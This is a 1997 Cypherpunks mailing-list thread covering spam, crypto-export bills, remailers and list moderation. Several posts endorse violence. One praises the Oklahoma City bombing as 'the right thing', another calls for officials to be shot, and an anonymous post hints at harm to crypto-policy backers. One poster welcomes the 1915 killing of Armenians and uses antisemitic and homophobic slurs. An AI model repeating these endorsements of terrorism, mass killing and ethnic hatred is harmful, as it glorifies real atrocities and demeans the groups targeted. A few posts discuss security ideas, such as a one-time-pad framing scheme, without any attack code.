Much as it pains me to dispute my usual ideological ally Ray A., the "they
should honor your request" is problematic.

If by this Ray means "as decent human beings they should," then, well,
perhaps so.

If, however, Ray means "they should, or something should be done," then, of
course, we disagree.

(If Ray means something in between, then he should say more about what he
means.)

Fact is, so long as anybody is free to send a message to someone else, then
what Wallace, Cantwell, Vulis, et. al. are doing is legit. Legit in the
sense of not breaking any laws. Whether tasteful or not, legit.

>The problem I have with them is that while they do say "Send email here
>to never be spammed again" it doesn't work.  They don't honor the
>deletion requests.  You wind up on some other dweeb's spam queue also
>from cyberspam. :(

Indeed, saying you don't "want" more advertisements is, for all practical
purposes, saying "Send me more!!!!"

So?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From declan at well.com  Fri May  9 21:21:09 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 10 May 1997 12:21:09 +0800
Subject: Bill of Goods, from The Netly News Network
In-Reply-To: 
Message-ID: 


Thanks, Tim. I've decided I should ditch the Time Magazine style I think
of as "high analysis" and return to more opinionated writing. I feel
better about the latter, and I think it's more interesting to read. That's
what I was doing at HotWired; I've been experimenting more at Netly.

BTW, there may be some hope on the "encryption to further a crime" 
provisions of SAFE. Folks, I'd keep up the pressure. Contact yer
representatives, etc. Especially if they're on House Judiciary.

-Declan


On Fri, 9 May 1997, Tim May wrote:

> At 4:42 PM -0800 5/9/97, Declan McCullagh wrote:
> >************
> >
> >http://pathfinder.com/netly/editorial/0,1012,931,00.html
> >
> >The Netly News Network
> >http://netlynews.com/
> >May 9, 1997
> >
> >Bill of Goods
> >by Declan McCullagh (declan at well.com)
> ....
> >     It's diabolical. Researchers already have to
> >comply with a legion of rules to qualify for grants.
> >Kerrey's proposed bill, called "The Secure Public
> >Network Act," would add yet another provision to the
> ....
> >     But the real question is: Why does Kerrey think
> >this rat-bastard bill has any chance of passing
> >through Congress, especially when there's already
> >legislation that would generally relax controls on
> >crypto? After all, Rep. Bob Goodlatte (R-Va.)'s "SAFE"
> >bill already has 86 cosponsors and shot out of
> >subcommittee last week. Sen. Conrad Burns' (R-Mont.)
> >"Pro-CODE" bill is headed for markup next month.
> >
> >     The answer is simple: this a trading chit that
> >the White House and the Democratic leadership can play
> >to water down the Burns and Goodlatte bills, and
> >perhaps meld all three together.
> >House party line: "The President has put forward a
> >plan which in good faith attempts to balance our
> >nation's interests in commerce, security, and law
> >enforcement."
> 
> My hearty congratulations to Declan for this strong stance against the
> Kerrey treason. I'm glad to see his strong criticism of it, and his
> accurate speculation that a "grand compromise" with the criminals is likely.
> 
> I doubt one of his employers, "Time," will use his analysis...much too
> radical for their get along/go along policy.
> 
> As for the fucking bureacrats, the Founding Fathers had it exactly right:
> 
> "Death to Tyrants!"
> 
> 
> (Sadly, in these last decades of the American Nation, the scum will view
> this as a "threat." Fuck em. Better, vaporize their nest.)
> 
> --Tim May, still a felon under their treasonous laws
> 
> 
> 
> There's something wrong when I'm a felon under an increasing number of laws.
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 
> 
> 







From jamesd at echeque.com  Fri May  9 21:23:40 1997
From: jamesd at echeque.com (jamesd at echeque.com)
Date: Sat, 10 May 1997 12:23:40 +0800
Subject: FCPUNX:List of GAK supporters
Message-ID: <199705100410.VAA11324@proxy3.ba.best.com>


At 08:01 PM 5/7/97 -0700, Lucky Green wrote:
> Below is a list of the members of the "Key Recovery Alliance" who are 
> working hard to make the world safe for GAK.

Strikingly absent from the list are Microsoft, Netscape, and Intel.

Strikingly present on the list is RSA and McAfee.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd at echeque.com






From ichudov at algebra.com  Fri May  9 21:25:44 1997
From: ichudov at algebra.com (Igor Chudov @ home)
Date: Sat, 10 May 1997 12:25:44 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: 
Message-ID: <199705100417.XAA05930@manifold.algebra.com>


Tim May wrote:
> >The problem I have with them is that while they do say "Send email here
> >to never be spammed again" it doesn't work.  They don't honor the
> >deletion requests.  You wind up on some other dweeb's spam queue also
> >from cyberspam. :(
> 
> Indeed, saying you don't "want" more advertisements is, for all practical
> purposes, saying "Send me more!!!!"

You know, maybe if the spammers were not routinely kicked 1/2 hr after
the incident, they would probably have a chance to receive and honor
the removal requests.

But then, maybe not.

	- Igor.






From tcmay at got.net  Fri May  9 21:26:02 1997
From: tcmay at got.net (Tim May)
Date: Sat, 10 May 1997 12:26:02 +0800
Subject: Bill of Goods, from The Netly News Network
In-Reply-To: 
Message-ID: 


At 7:54 PM -0800 5/9/97, Declan McCullagh wrote:
>Thanks, Tim. I've decided I should ditch the Time Magazine style I think
>of as "high analysis" and return to more opinionated writing. I feel
>better about the latter, and I think it's more interesting to read. That's
>what I was doing at HotWired; I've been experimenting more at Netly.

I sympathize with your situation, such as I understand it. (I was gone from
Intel by 1986, long before public issues became so common, long before the
Net was as influential as today. No doubt, were I still at Intel, or
elsewhere, I would be constrained in what I would be allowed to write
about.)

Writing for "Time" or "Newsweek" will work for only a very few folks. Levy,
for example, does a quite reasonable job for "Newsweek"..but, then, he went
to "Newsweek" with a long history of Net contributions (notably, "Hackers,"
of course) and writes in his own style.

(I'm not sure who writes for "Time," as I no longer read any of the
newsweeklies, or dailies. Last I looked, it was Elmer-Dewitt who ran the
show.)

Frankly, I'm not sure there's any reasonable amount of money to be made in
journalism these days, for various reasons I won't get into right now.

A war is coming (arguably, the opening shots have already been fired) and
the newsweeklies are a poor place for anyone with actual principles.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Fri May  9 21:39:54 1997
From: tcmay at got.net (Tim May)
Date: Sat, 10 May 1997 12:39:54 +0800
Subject: Wine Politics Again!
In-Reply-To: 
Message-ID: 


At 4:09 AM -0800 5/9/97, Robert Hettinga wrote:
>--- begin forwarded text
>
>
>X-Sender: mcooley at pop.tiac.net
>Date: Thu, 08 May 1997 22:25:28
>To: dcsb at ai.mit.edu
>From: Marianne Cooley 
>Subject: Wine Politics Again!
:
>Hello friends of the Virtual Vineyards and family wineries. Remember the
>felony direct shipping law in Georgia I wrote about a few weeks ago? Well,
>Governor Miller signed it, unfortunately. Ship a bottle of wine, go to
>jail. Amazing.
...

Thanks, Marianne and Bob, for the news.

I am shipping a few bottles of California's finest merlot (much nicer that
the trendy cabernets) to my sister and her husband in Hollywood, FL.

Always nice to poke a sharp stick in the eyes of the fascists while also
adding to my list of felonies (should I ever again enter Florida, which
seems doubtful, at least not for a while).

Chiles and his co-conspirators should be shot for high crimes against the
Constitution. After Clinton, Freeh, Kerrey, and the other traitors.

Every day that passes, I'm more convinced that McVeigh did the right thing.
Some innocents died, but, hey, war is hell. Broken eggs and all that.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From nobody at huge.cajones.com  Fri May  9 21:42:31 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 10 May 1997 12:42:31 +0800
Subject: Security flaw in key recovery -- you're looking at it
Message-ID: <199705100433.VAA29749@fat.doobie.com>


Date: Fri, 9 May 1997 14:34:01 -0700
Subject: Security flaw in key recovery -- you're looking at it

awww ... go ahead, show us!!!!
Otherwise, I just might not believe you.



[This is only a test.  If I had been in a bad mood, this message would
have contained the private key of the CEO of a major Entrust customer,
obtained from an Entrust trusted "key safe" server.  Who am I?  Can 
Entrust or its customer's officers finger me?]









From graham.hughes at resnet.ucsb.edu  Fri May  9 22:22:00 1997
From: graham.hughes at resnet.ucsb.edu (Graham C. Hughes)
Date: Sat, 10 May 1997 13:22:00 +0800
Subject: Certified primes
In-Reply-To: 
Message-ID: <87yb9nkjby.fsf@A-abe.resnet.ucsb.edu>


-----BEGIN PGP SIGNED MESSAGE-----

Graham-John Bullers  writes:

> Please can you stop this spam from your site.

It's unclear how lucifer could do this without limiting legit traffic
and destroying the usefulness of the remailer.  Filtering by mail
addresses is immoral for such a remailer, as is examination of the
source text.

Better to address this server side, in the list itself, but that
requires moderators and a lot of time and effort.  The result is often
worth it.  Even better than that is to simply ignore the loser.
- -- 
Graham Hughes  http://A-abe.resnet.ucsb.edu/~graham/  MIME & PGP mail OK.
(define PGP_fingerprint "E9 B7 5F A0 F8 88 9E 1E  7C 62 D9 88 E1 03 29 5B")
(require 'stddisclaim)

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
Charset: noconv
Comment: Processed by Mailcrypt 3.4, an Emacs/PGP interface

iQCVAwUBM3QCHCqNPSINiVE5AQFwNQP/WNlqsYM2b96mGP+nlAl808SddJKgJoGp
kQJPwG88YcJwteuAEA268TBpaz2wGjfq/3O14bj+qt4Ioi1WVrA512uT4u/oI1Os
n82Ut7yoKQdp5k9jb60c17uSHPCITKjP8YvkSZnUD/3G6Hz9a96DWIw2VoKL2fcf
7AidTHXup1w=
=Qc/e
-----END PGP SIGNATURE-----






From tcmay at got.net  Fri May  9 22:26:30 1997
From: tcmay at got.net (Tim May)
Date: Sat, 10 May 1997 13:26:30 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: 
Message-ID: 


At 8:17 PM -0800 5/9/97, Igor Chudov @ home wrote:
>Tim May wrote:

>> Indeed, saying you don't "want" more advertisements is, for all practical
>> purposes, saying "Send me more!!!!"
>
>You know, maybe if the spammers were not routinely kicked 1/2 hr after
>the incident, they would probably have a chance to receive and honor
>the removal requests.

I can't parse your English. (Not a new problem for me, Igor, as I seldom
understand your posts.)

My point was an obvious marketing one: anyone who expresses any interest
whatsoevery in advertisements or products, no matter what kind of interest,
is essentially automatically a candidate for more advertising.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From nobody at huge.cajones.com  Fri May  9 22:33:37 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 10 May 1997 13:33:37 +0800
Subject: New admin crypto policy
Message-ID: <199705100524.WAA32396@fat.doobie.com>


It is time something unfortunate happened to all those leading the push for new crypto limits.






From tcmay at got.net  Fri May  9 23:14:41 1997
From: tcmay at got.net (Tim May)
Date: Sat, 10 May 1997 14:14:41 +0800
Subject: New admin crypto policy
In-Reply-To: <199705100524.WAA32396@fat.doobie.com>
Message-ID: 


At 9:24 PM -0800 5/9/97, Huge Cajones Remailer wrote:
>It is time something unfortunate happened to all those leading the push
>for new crypto limits.

You mean like attaching a new Ryder to the bill?


--Tim McVeigh, er, May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Fri May  9 23:25:14 1997
From: tcmay at got.net (Tim May)
Date: Sat, 10 May 1997 14:25:14 +0800
Subject: Certified primes
In-Reply-To: 
Message-ID: 


At 9:05 PM -0800 5/9/97, Graham writes about Graham-John:

>> Please can you stop this spam from your site.
>
>It's unclear how lucifer could do this without limiting legit traffic
>and destroying the usefulness of the remailer.  Filtering by mail
>addresses is immoral for such a remailer, as is examination of the
>source text.
>
>Better to address this server side, in the list itself, but that
>requires moderators and a lot of time and effort.  The result is often
 ^^^^^^^^^^^^^^^^^^^                                ^^^^^^^^^^^^^^^^^^^
>worth it.  Even better than that is to simply ignore the loser.
 ^^^^^^^^

Oh yeah? "The result is often worth it"?

Apparently Graham is not acquainted with the history of this list.

As I like to say, "Those not acquainted with the history of the Cypherpunks
list are condemned to continue suggesting it be moderated."

(not a direct quote of Carlos Santana, nor the other guy with the similar
name.)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From nobody at huge.cajones.com  Sat May 10 00:01:34 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 10 May 1997 15:01:34 +0800
Subject: New admin crypto policy
Message-ID: <199705100646.XAA03666@fat.doobie.com>


Tim May wrote:
> 
> At 9:24 PM -0800 5/9/97, Huge Cajones Remailer wrote:
> >It is time something unfortunate happened to all those leading the push
> >for new crypto limits.
> 
> You mean like attaching a new Ryder to the bill?
> 
> --Tim McVeigh, er, May

  The story so far:
  Mr. Nobody sends a message to the cypherpunks list via an
anonymous remailer suggesting that someone ought to fuck with
Cyberpromo. Cyberpromo gets fucked with shortly thereafter.
  Mr. Nobody sends a message to the cypherpunks list suggesting
that it's time for something unfortunate to happen to those
leading the push for new crypto limits.

  Perhaps someone should start a betting pool to guess whether
the spooks are taking aim at the remailers or if they are setting
up a particular cypherpunk, instead.
  We could start a betting pool to guess who will shortly have
something "unfortunate" happen to them, but that might get the
winner in a lot of trouble.

TruthMcVeigh






From nexus at eskimo.com  Sat May 10 00:25:49 1997
From: nexus at eskimo.com (Brian C. Lane)
Date: Sat, 10 May 1997 15:25:49 +0800
Subject: Camera Hacking
In-Reply-To: <3.0.32.19691231160000.006ae0c4@best.com>
Message-ID: 


On Thu, 1 May 1997, geeman wrote:

> have an effect on people's behavior with respect to what they say, whom
> they associate with, 
> the clothes they wear, the thoughts they think...
> 
> How do you hack a camera?

  Splatball (paintball) gun should do the trick.

    Brian

---------------------------------------------------------------------------
    Nexus Computing     | Hardware and Software Design
 www.eskimo.com/~nexus  | Motorola, Microchip and Linux solutions
---------------------------------------------------------------------------






From blancw at cnw.com  Sat May 10 00:45:42 1997
From: blancw at cnw.com (Blanc)
Date: Sat, 10 May 1997 15:45:42 +0800
Subject: Wine Politics Again!
Message-ID: <3.0.32.19970510003251.006c7650@cnw.com>


At 09:26 PM 5/9/97 -0800, Tim May wrote:

>Every day that passes, I'm more convinced that McVeigh did the right thing.
>Some innocents died, but, hey, war is hell. Broken eggs and all that.
......................................................


Timothy must be drunk; I can't believe he said this.   Because he wouldn't
spend so much time writing sensible things of Truth & Light, if he thought
the better thing to do for achieving libertarian values was to kill so
indiscriminately with a bomb.    After all, he subscribes to utmost
discrimination.   So I think right now he's less in the engagement of
Reason and more under the influence of maybe some Bud Light.

    ..
Blanc
    ..
Blanc






From aba at dcs.ex.ac.uk  Sat May 10 03:13:41 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sat, 10 May 1997 18:13:41 +0800
Subject: El Gamal
In-Reply-To: 
Message-ID: <199705100745.IAA00558@server.test.net>



Dimitri Vulis  writes:
> nobody at REPLAY.COM (Anonymous) writes:
> 
> > Vulis wrote re ElGamal:
> > >
> > > Why won't Sameer "Gas the Kikes" Parekh hire his fellow Arab?
> >
> > Because Sameer's competition already hired him.  Get a clue...
> 
> Okidata is competing with Sameer?

Taher El Gamal works for Netscape now...

Adam






From futuregate at inetnow.net  Sat May 10 18:58:22 1997
From: futuregate at inetnow.net (Mercury Messenger Services)
Date: Sat, 10 May 1997 18:58:22 -0700 (PDT)
Subject: Increase Traffic to your Web-site!
Message-ID: <199705110125.VAA07924@main.inetnow.net>


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----------------------------------------------------------------------

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subject line.





From nobody at huge.cajones.com  Sat May 10 04:01:29 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 10 May 1997 19:01:29 +0800
Subject: [STEGO] Certified primes
Message-ID: <199705101044.DAA12163@fat.doobie.com>


Timothy Maya is just a poor excuse for an 
unschooled, retarded thug.

         ____
         \ _/__ Timothy Maya
          \\  /
            \/






From rah at shipwright.com  Sat May 10 07:09:40 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 10 May 1997 22:09:40 +0800
Subject: Wine Politics Again!
In-Reply-To: <3.0.32.19970510003251.006c7650@cnw.com>
Message-ID: 


At 3:35 am -0400 on 5/10/97, Blanc wrote:


> So I think right now he's less in the engagement of
> Reason and more under the influence of maybe some Bud Light.

Nah.

He's just doing his Sam Adams routine. (hyuk!)

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From junger at upaya.multiverse.com  Sat May 10 07:42:18 1997
From: junger at upaya.multiverse.com (Peter D. Junger)
Date: Sat, 10 May 1997 22:42:18 +0800
Subject: One-Time Pads as Attack Method
In-Reply-To: <9705091650.AA19981@future.atlcom.net>
Message-ID: <199705101433.KAA27034@upaya.multiverse.com>


00043.an at edtec.com writes:

: 
: 1. Agents of the Enemy wish to create the appearance of you possessing
: document A.
: 2. They obtain some artifact you have emailed, or posted, or possess on
: your private local storage. ---
: Possibly even signed.  Call this message B.
: 3. They create the XOR of A and B, the result being a 'one time pad' C.
: which of course, gives:
: private message B XOR C = target bogus message A.  This result is of course
: not a one time pad;
: the plan is to accuse you of possessing materials that prove you are
: trading with the enemy,
: exchanging kiddie-porn, any of the usual things.
: 4. This 'one time pad' file C. somehow finds its way into your possession:
: it is an email attachment,
: embedded in some binary --- it could even be stego'ed into a GIF/JPG.
: 5. The agents break down the door and seize all your effects.  
: 6. They are able to prove that you possess B and C, the XOR of which is A.,
: a fact that is impossible
: to have happened at random.
: 7. The jury doesn't know shit, and figures that if the chances of B ^ C = A
: by accident are 0,
: then you must be guilty.

It was in part for the purpose of demonstrating this possibility that I
wrote the OPT program that I later realized that I could not publish in
any form under the ITAR and cannot publish in electronic form under the
new Commerce Department export regulations (unless I apply for a license
(that I probably cannot get) from the government, a requirement that
violates the First Amendment to the United States constitution).  And it
was the restraints on publishing that and other crypto programs that led
me to file suit to enjoin the enforcement of the export restrictions on
cryptography.

The problem that someone might plant a message and a one-time-pad on
your machine makes for a good spy story; I would be more worried about
someone claiming that I had illegal software on my machine, since they
can always come up with a one-time-pad that will decode some file that
I do have on my machine (if they have access to it) and have the
``decoded'' text be a copyrighted program for which I do not have a
license.

Do you think that Microsoft has a one-time-pad that will convert
Netscape 3.1 into Word for Windows?


--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger at samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger at pdj2-ra.f-remote.cwru.edu no longer exists






From dlv at bwalk.dm.com  Sat May 10 07:47:07 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 10 May 1997 22:47:07 +0800
Subject: Wine Politics Again!
In-Reply-To: <3.0.32.19970510003251.006c7650@cnw.com>
Message-ID: 


Blanc  writes:

[Quoting Timmy May]
> >Every day that passes, I'm more convinced that McVeigh did the right thing.
> >Some innocents died, but, hey, war is hell. Broken eggs and all that.
>
>
> Timothy must be drunk; I can't believe he said this.   Because he wouldn't
> spend so much time writing sensible things of Truth & Light, if he thought
> the better thing to do for achieving libertarian values was to kill so
> indiscriminately with a bomb.    After all, he subscribes to utmost
> discrimination.   So I think right now he's less in the engagement of
> Reason and more under the influence of maybe some Bud Light.

Everybody in that building was somehow affiliated with the gubmint.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Sat May 10 07:50:14 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 10 May 1997 22:50:14 +0800
Subject: Certified primes
In-Reply-To: <87yb9nkjby.fsf@A-abe.resnet.ucsb.edu>
Message-ID: 


"Graham C. Hughes"  writes:

> Graham-John Bullers  writes:
>
> > Please can you stop this spam from your site.
>
> It's unclear how lucifer could do this without limiting legit traffic
> and destroying the usefulness of the remailer.  Filtering by mail
> addresses is immoral for such a remailer, as is examination of the
> source text.
>
> Better to address this server side, in the list itself, but that
> requires moderators and a lot of time and effort.  The result is often
> worth it.  Even better than that is to simply ignore the loser.

I don't see either the ASCII art of Grham-John's responses to it.

Likewise I see almost no UCE.

I use filters.

Graham-John chooses not to use filters.

Graham-John wants to limit other people's freedom to read what they
choose to read to accommodate his inadequate choice of tools.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Sat May 10 07:52:57 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 10 May 1997 22:52:57 +0800
Subject: Spam Update/Cyber Promo attacked
In-Reply-To: 
Message-ID: 


Tim May  writes:

> At 7:46 AM -0800 5/9/97, Ray Arachelian wrote:
>
> >Filtering isn't the point.  Just as you have the right to free speech,
> >you also have the right to ignore someone else's speech as it is aimed at
> >you.  If you don't want Cyberspammo to spam you, they should honor your
> >request to take their crap elsewhere.

Ray Arachelian is a terrorist who publicly advocates criminal hacking.
Please e-mail your comments to jack at earthweb.com.

[Timmy C... May]
> Much as it pains me to dispute my usual ideological ally Ray A.

There's no question that Timmy and Ray are ideological allies.

> If by this Ray means "as decent human beings they should," then, well,
> perhaps so.

Suppose the request is phrased, "Please refrain from posting to soc.motss
in the future". Should a "decent human being" honor it?

Suppose the request is phrased, "Please refrain from posting to Usenet
in the future", without specifying the newsgroup.

> Fact is, so long as anybody is free to send a message to someone else, then
> what Wallace, Cantwell, Vulis, et. al. are doing is legit. Legit in the
> sense of not breaking any laws. Whether tasteful or not, legit.

Of course, Timmy May, unlike many other people, did not object when Cocksucker
John Gilmore unsubscribed me from this list (even posted a blurb in Gilmore's
support claiming that I was removed for "volume", not "content", apparently
in reference to Gilmore's lies that I was sending "50 articles/day" and
"megabytes" - both of which are outright lies).

Of course Timmy May didn't utter a word when the plan to "moderate" this
mailing list by a C2Net shill was being discussed.

Therefore is feeble attempt tp speak up in defense of someone's free speech
is insincere and hypocritical.

> Indeed, saying you don't "want" more advertisements is, for all practical
> purposes, saying "Send me more!!!!"
>
> So?

A decent person can filter them out, like I do.

The attempts by net.terrorists like Ray Arachelian&co to silence Wallace are
no different from the attempts by C2Net to silence me, or the attempts by
the Nazi German government to silence the Radikal, or the atttempts by
the Burmese government to silence its opposition. Only an ignorant hypocrite
like Timmy May can argue that because a particular gang of thugs calls
itself "gubmint", its form of censorship is somehow more or less benign
than private censorship enforced via terrorist acts.

I'm very glad that the Turks retaliated against Armenians in 1915 -
it's too bad they didn't get Ray Arachelian's criminal grandparents.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From kent at songbird.com  Sat May 10 08:13:53 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 10 May 1997 23:13:53 +0800
Subject: Wine Politics Again!
In-Reply-To: <3.0.32.19970510003251.006c7650@cnw.com>
Message-ID: <19970510075351.10131@bywater.songbird.com>


On Sat, May 10, 1997 at 09:06:10AM -0500, Dr.Dimitri Vulis KOTM wrote:
> Blanc  writes:
> 
> [Quoting Timmy May]
> > >Every day that passes, I'm more convinced that McVeigh did the right thing.
> > >Some innocents died, but, hey, war is hell. Broken eggs and all that.
> >
> >
> > Timothy must be drunk; I can't believe he said this.   Because he wouldn't
> > spend so much time writing sensible things of Truth & Light, if he thought
> > the better thing to do for achieving libertarian values was to kill so
> > indiscriminately with a bomb.    After all, he subscribes to utmost
> > discrimination.   So I think right now he's less in the engagement of
> > Reason and more under the influence of maybe some Bud Light.
> 
> Everybody in that building was somehow affiliated with the gubmint.

Everybody everywhere is somehow affiliated with the gubmint, including
you and Tim May.

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From whgiii at amaranth.com  Sat May 10 08:37:59 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 10 May 1997 23:37:59 +0800
Subject: Wine Politics Again!
In-Reply-To: <19970510075351.10131@bywater.songbird.com>
Message-ID: <199705101522.KAA12684@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <19970510075351.10131 at bywater.songbird.com>, on 05/10/97 at 08:53 AM,
   Kent Crispin  said:


>On Sat, May 10, 1997 at 09:06:10AM -0500, Dr.Dimitri Vulis KOTM wrote: >
>Blanc  writes:
>> 
>> [Quoting Timmy May]
>> > >Every day that passes, I'm more convinced that McVeigh did the right thing.
>> > >Some innocents died, but, hey, war is hell. Broken eggs and all that.
>> >
>> >
>> > Timothy must be drunk; I can't believe he said this.   Because he wouldn't
>> > spend so much time writing sensible things of Truth & Light, if he thought
>> > the better thing to do for achieving libertarian values was to kill so
>> > indiscriminately with a bomb.    After all, he subscribes to utmost
>> > discrimination.   So I think right now he's less in the engagement of
>> > Reason and more under the influence of maybe some Bud Light.
>> 
>> Everybody in that building was somehow affiliated with the gubmint.

>Everybody everywhere is somehow affiliated with the gubmint, including you
>and Tim May.

That may be so but I doubt anyone on the list enjoys such affiliations more
the you Kent. :(

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Windows: The CP/M of the future!

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From tcmay at got.net  Sat May 10 08:41:28 1997
From: tcmay at got.net (Tim May)
Date: Sat, 10 May 1997 23:41:28 +0800
Subject: Wine Politics Again!
In-Reply-To: <3.0.32.19970510003251.006c7650@cnw.com>
Message-ID: 


At 11:35 PM -0800 5/9/97, Blanc wrote:
>At 09:26 PM 5/9/97 -0800, Tim May wrote:
>
>>Every day that passes, I'm more convinced that McVeigh did the right thing.
>>Some innocents died, but, hey, war is hell. Broken eggs and all that.
>......................................................
>
>
>Timothy must be drunk; I can't believe he said this.   Because he wouldn't
>spend so much time writing sensible things of Truth & Light, if he thought
>the better thing to do for achieving libertarian values was to kill so
>indiscriminately with a bomb.    After all, he subscribes to utmost
>discrimination.   So I think right now he's less in the engagement of
>Reason and more under the influence of maybe some Bud Light.
>

Give me a break. The "he must be drunk" argument is the cheapest shot, no
pun intended, in the book.

(And, please, knock of the use of "Timothy" is a post where one disagrees.
If "Tim" is fine for most responses, why the sudden formal "Timothy"?
Another rhetorical device.)

Never ascribe to alcohol what can be explained by righteous anger.

I _said_ that innocents died. But there never should've been a day care
center in a soft target.

Innocents died in Dresden. No doubt compelling stories and images could be
dug up of little Frieda slowly suffocating as the firestorms sucked the air
out of her underground shelter, or of little Hans screaming for his mother
as his hair bursts into flames. 300,000 died in that fire bomb raid, freely
admitted to be a  "public demonstration" of allied willingness to destroy
civilians in what was primarily a "cultural" city, not a significant center
of military production.

McVeigh probably did not help the cause of liberty, in the long run. But I
can better understand why he acted. He saw that Federal building as a
military target. Innocents died. Such is the nature of war.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Sat May 10 08:56:06 1997
From: tcmay at got.net (Tim May)
Date: Sat, 10 May 1997 23:56:06 +0800
Subject: Disinformation in L.A.
Message-ID: 



